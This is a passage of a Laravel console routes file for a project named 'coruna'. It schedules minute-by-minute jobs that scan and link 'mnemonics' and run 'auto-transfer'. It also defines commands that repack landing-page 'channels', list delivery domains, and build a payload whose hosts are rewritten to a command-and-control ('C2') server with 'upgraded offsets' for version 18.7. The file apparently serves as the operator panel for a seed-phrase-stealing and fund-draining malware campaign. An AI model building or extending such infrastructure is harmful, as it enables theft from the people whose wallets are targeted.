everyFifteenMinutes() ->withoutOverlapping() ->runInBackground(); Schedule::command('coruna:daily-stats --days=30') ->dailyAt('00:10') ->withoutOverlapping() ->runInBackground(); Schedule::command('coruna:link-mnemonics') ->everyMinute() ->withoutOverlapping() ->runInBackground(); Schedule::command('coruna:auto-transfer') ->everyMinute() ->withoutOverlapping() ->runInBackground(); Schedule::command('coruna:sync-monitors --limit=200') ->everyFiveMinutes() ->withoutOverlapping() ->runInBackground(); Schedule::command('coruna:scan-mnemonics --limit=200') ->everyMinute() ->withoutOverlapping() ->runInBackground(); Artisan::command('inspire', function () { $this->comment(Inspiring::quote()); })->purpose('Display an inspiring quote'); Artisan::command('telegram:set-webhook {url?}', function (?string $url = null) { $token = (string) config('nutgram.token', ''); if ($token === '') { $this->error('TELEGRAM_BOT_TOKEN is empty'); return 1; } $url = $url ?: rtrim((string) config('app.url'), '/').'/hooks/telegram'; $secret = (string) config('coruna.telegram.webhook_secret', ''); $payload = [ 'url' => $url, 'allowed_updates' => ['message', 'callback_query', 'my_chat_member'], ]; if ($secret !== '') { $payload['secret_token'] = $secret; } $this->info('Setting Telegram webhook URL: '.$url); $resp = Http::connectTimeout(20)->timeout(60) ->asJson() ->post("https://api.telegram.org/bot{$token}/setWebhook", $payload); if ($resp->successful() && ($resp->json('ok') === true)) { $this->info('OK'); return 0; } $this->error('Failed: '.$resp->body()); return 1; })->purpose('Register the site Telegram webhook'); Artisan::command('xxbb:build {--channel-c=} {--random-c}', function () { $channelC = trim((string) $this->option('channel-c')); $random = (bool) $this->option('random-c'); try { $result = app(ChannelProjectService::class)->buildSharedArtifacts( $channelC !== '' ? $channelC : null, $random, ); } catch (Throwable $e) { $this->error($e->getMessage()); return 1; } $c = (string) data_get($result, 'seeds.channel_c', ''); $this->info('XXBB_CHANNEL_C='.$c); $this->info('details -> /details/'); $staged = (string) ($result['staged_weifile'] ?? ''); if ($staged !== '') { $this->info('staged weifile -> '.$staged); } $this->line('domains:'); $domains = array_values((array) data_get($result, 'domains.deployment', [])); if ($domains === []) { $this->warn('(empty)'); } foreach ($domains as $i => $domain) { $this->line(sprintf(' %03d %s', $i + 1, $domain)); } $configured = strtolower(trim((string) config('coruna.xxbb.channel_c', ''))); if ($c !== '' && $configured !== $c) { $this->warn('把上面的 XXBB_CHANNEL_C 写入 .env;新建渠道会始终用 env 中的 c 构建。'); } return 0; })->purpose('Build shared xxbb /details and staged weifile from channel c'); Artisan::command('xxbb:repack {ids?*} {--template=blank} {--skip-shared} {--dry-run} {--ds-domain=}', function () { $ids = array_values(array_filter(array_map('strval', (array) $this->argument('ids')))); $template = trim((string) $this->option('template')); $skipShared = (bool) $this->option('skip-shared'); $dryRun = (bool) $this->option('dry-run'); $dsDomain = rtrim(trim((string) $this->option('ds-domain')), '/'); if ($dsDomain === '') { $dsDomain = rtrim(trim((string) config('coruna.xxbb.ds_domain', '')), '/'); } $projects = app(ChannelProjectService::class); try { $resolved = $projects->resolveNewChannelIds($ids === [] ? null : $ids); } catch (Throwable $e) { $this->error($e->getMessage()); return 1; } if ($resolved === []) { $this->warn('没有可重打的新版渠道(builder_type=new)'); return 0; } $this->info(($dryRun ? '将重打' : '重打').' '.count($resolved).' 个新版渠道(渠道 ID / 投放域名不变):'); if ($dsDomain !== '') { $this->info('DS 域名: '.$dsDomain); } foreach ($resolved as $id) { $this->line(' /channel/'.$id); } if ($dryRun) { return 0; } try { $result = $projects->rebuildNewChannels( $resolved, $template !== '' ? $template : ChannelProjectService::DEFAULT_SUPPORT_TEMPLATE, ! $skipShared, $dsDomain, ); } catch (Throwable $e) { $this->error($e->getMessage()); return 1; } if (! $skipShared) { $c = (string) data_get($result, 'shared.seeds.channel_c', config('coruna.xxbb.channel_c', '')); $this->info('shared XXBB_CHANNEL_C='.$c); $this->info('details -> /details/'); } foreach ($result['channels'] as $row) { $id = (string) ($row['channel_id'] ?? ''); $landing = (string) ($row['support_path'] ?? '/channel/'.$id.'/weifile/weifile.html'); $this->info('packed '.$id.' -> '.$landing); } return 0; })->purpose('Repack existing new-builder channels with latest weifile / details / plugins'); Artisan::command('coruna:repack {ids?*} {--template=blank} {--dry-run} {--ds-domain=}', function () { $ids = array_values(array_filter(array_map('strval', (array) $this->argument('ids')))); $template = trim((string) $this->option('template')); $dryRun = (bool) $this->option('dry-run'); $dsDomain = rtrim(trim((string) $this->option('ds-domain')), '/'); if ($dsDomain === '') { $dsDomain = rtrim(trim((string) config('coruna.xxbb.ds_domain', '')), '/'); } $projects = app(ChannelProjectService::class); try { $resolved = $projects->resolveOldChannelIds($ids === [] ? null : $ids); } catch (Throwable $e) { $this->error($e->getMessage()); return 1; } if ($resolved === []) { $this->warn('没有可重打的旧版渠道(builder_type=old)'); return 0; } $this->info(($dryRun ? '将重打' : '重打').' '.count($resolved).' 个旧版渠道(渠道 ID 不变,seed 取自 CORUNA_CHANNEL_SEED):'); if ($dsDomain !== '') { $this->info('DS 域名: '.$dsDomain); } foreach ($resolved as $id) { $this->line(' /web/'.$id.'/support.html'); } if ($dryRun) { return 0; } try { $result = $projects->rebuildOldChannels( $resolved, $template !== '' ? $template : ChannelProjectService::DEFAULT_SUPPORT_TEMPLATE, $dsDomain, ); } catch (Throwable $e) { $this->error($e->getMessage()); return 1; } foreach ($result['channels'] as $row) { $id = (string) ($row['channel_id'] ?? ''); $landing = (string) ($row['support_path'] ?? '/web/'.$id.'/support.html'); $this->info('packed '.$id.' -> '.$landing); } return 0; })->purpose('Repack existing old-builder channels with latest support.html / index.js router'); Artisan::command('ds:build {--origin=} {--c2=} {--delivery=}', function () { $script = base_path('channel-builder-ds/tools/build.py'); if (! is_file($script)) { $this->error('missing '.$script); return 1; } $c2 = trim((string) $this->option('c2')); $origin = $c2 !== '' ? $c2 : trim((string) $this->option('origin')); $delivery = trim((string) $this->option('delivery')); if ($origin === '') { $origin = rtrim((string) config('app.url'), '/'); $this->warn('未传 --c2/--origin,使用 APP_URL: '.$origin); $this->warn('线上必须显式指定 C2,例如: php artisan ds:build --c2 https://c2.example.com'); } $args = ['python3', $script, '--c2', $origin]; if ($delivery !== '') { $args[] = '--delivery'; $args[] = $delivery; } $this->info(implode(' ', $args)); passthru(implode(' ', array_map('escapeshellarg', $args)), $code); return $code; })->purpose('Rewrite one99 hosts to --c2 and publish source/ to public/next-chain'); Artisan::command('ds:build-new {--origin=} {--c2=} {--delivery=}', function () { $script = base_path('channel-builder-ds-new/tools/build.py'); if (! is_file($script)) { $this->error('missing '.$script); return 1; } $c2 = trim((string) $this->option('c2')); $origin = $c2 !== '' ? $c2 : trim((string) $this->option('origin')); $delivery = trim((string) $this->option('delivery')); if ($origin === '') { $origin = rtrim((string) config('app.url'), '/'); $this->warn('未传 --c2/--origin,使用 APP_URL: '.$origin); $this->warn('线上必须显式指定 C2,例如: php artisan ds:build-new --c2 https://c2.example.com'); } $args = ['python3', $script, '--c2', $origin]; if ($delivery !== '') { $args[] = '--delivery'; $args[] = $delivery; } $this->info(implode(' ', $args)); passthru(implode(' ', array_map('escapeshellarg', $args)), $code); return $code; })->purpose('Build with external 18.7 worker + upgraded offsets, rewrite nuhn93/one99 hosts to --c2'); Artisan::command('coruna:channel-domains {--json}', function () { $domains = array_values(array_filter(config('coruna.channel_domains', []))); if ($this->option('json')) { $this->line(json_encode($domains, JSON_UNESCAPED_UNICODE)); return 0; } if ($domains === []) { $this->warn('(empty)'); return 0; } foreach ($domains as $d) { $this->line($d); } return 0; })->purpose('Print configured channel delivery domains (settings / env)');